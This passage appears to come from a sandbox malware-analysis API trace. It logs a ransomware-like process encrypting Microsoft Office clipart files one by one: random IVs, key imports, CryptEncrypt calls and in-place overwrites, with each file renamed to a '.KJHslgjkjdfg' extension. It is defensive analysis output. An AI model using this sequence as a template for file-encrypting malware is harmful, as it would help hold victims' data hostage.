lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3642, lpOverlapped=0x0) returned 1 [0211.348] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3650, dwBufLen=0x3650 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3650) returned 1 [0211.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.348] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3650, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3650, lpOverlapped=0x0) returned 1 [0211.348] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.349] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.349] SetEndOfFile (hFile=0x130) returned 1 [0211.350] GetProcessHeap () returned 0x990000 [0211.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.350] GetProcessHeap () returned 0x990000 [0211.350] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf.kjhslgjkjdfg")) returned 1 [0211.352] CloseHandle (hObject=0x130) returned 1 [0211.352] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1 [0211.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.355] GetProcessHeap () returned 0x990000 [0211.355] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.355] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.355] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0211.358] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.358] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.358] GetProcessHeap () returned 0x990000 [0211.358] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.358] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.358] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.358] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.358] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.358] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.359] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.359] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.359] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.359] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.359] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x476e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x476e, lpOverlapped=0x0) returned 1 [0211.360] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4770, dwBufLen=0x4770 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4770) returned 1 [0211.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.360] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4770, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4770, lpOverlapped=0x0) returned 1 [0211.360] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.361] SetEndOfFile (hFile=0x130) returned 1 [0211.363] GetProcessHeap () returned 0x990000 [0211.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.363] GetProcessHeap () returned 0x990000 [0211.363] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.kjhslgjkjdfg")) returned 1 [0211.365] CloseHandle (hObject=0x130) returned 1 [0211.365] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0211.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.367] GetProcessHeap () returned 0x990000 [0211.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.367] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.367] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.367] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.367] GetProcessHeap () returned 0x990000 [0211.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.367] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.367] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.367] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.377] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.377] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.377] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.377] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.378] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd8e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd8e0, lpOverlapped=0x0) returned 1 [0211.384] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd8e0, dwBufLen=0xd8e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd8e0) returned 1 [0211.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.384] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd8e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd8e0, lpOverlapped=0x0) returned 1 [0211.385] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.385] SetEndOfFile (hFile=0x130) returned 1 [0211.386] GetProcessHeap () returned 0x990000 [0211.386] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.386] GetProcessHeap () returned 0x990000 [0211.386] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.kjhslgjkjdfg")) returned 1 [0211.388] CloseHandle (hObject=0x130) returned 1 [0211.394] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0211.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.395] GetProcessHeap () returned 0x990000 [0211.395] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.395] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.395] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.398] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.398] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.398] GetProcessHeap () returned 0x990000 [0211.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.398] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.398] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.398] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.398] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.399] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10cb8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x10cb8, lpOverlapped=0x0) returned 1 [0211.401] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10cc0, dwBufLen=0x10cc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10cc0) returned 1 [0211.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.402] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10cc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10cc0, lpOverlapped=0x0) returned 1 [0211.402] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.402] SetEndOfFile (hFile=0x130) returned 1 [0211.405] GetProcessHeap () returned 0x990000 [0211.405] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.405] GetProcessHeap () returned 0x990000 [0211.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.kjhslgjkjdfg")) returned 1 [0211.408] CloseHandle (hObject=0x130) returned 1 [0211.408] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0211.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.410] GetProcessHeap () returned 0x990000 [0211.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.410] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.410] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0211.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.413] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.413] GetProcessHeap () returned 0x990000 [0211.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.413] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.413] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.413] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.413] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.413] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.414] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.414] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.414] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7a04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7a04, lpOverlapped=0x0) returned 1 [0211.416] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a10, dwBufLen=0x7a10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a10) returned 1 [0211.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.417] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7a10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7a10, lpOverlapped=0x0) returned 1 [0211.417] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.417] SetEndOfFile (hFile=0x130) returned 1 [0211.420] GetProcessHeap () returned 0x990000 [0211.420] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.420] GetProcessHeap () returned 0x990000 [0211.420] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.kjhslgjkjdfg")) returned 1 [0211.422] CloseHandle (hObject=0x130) returned 1 [0211.422] FindNextFileW (in: 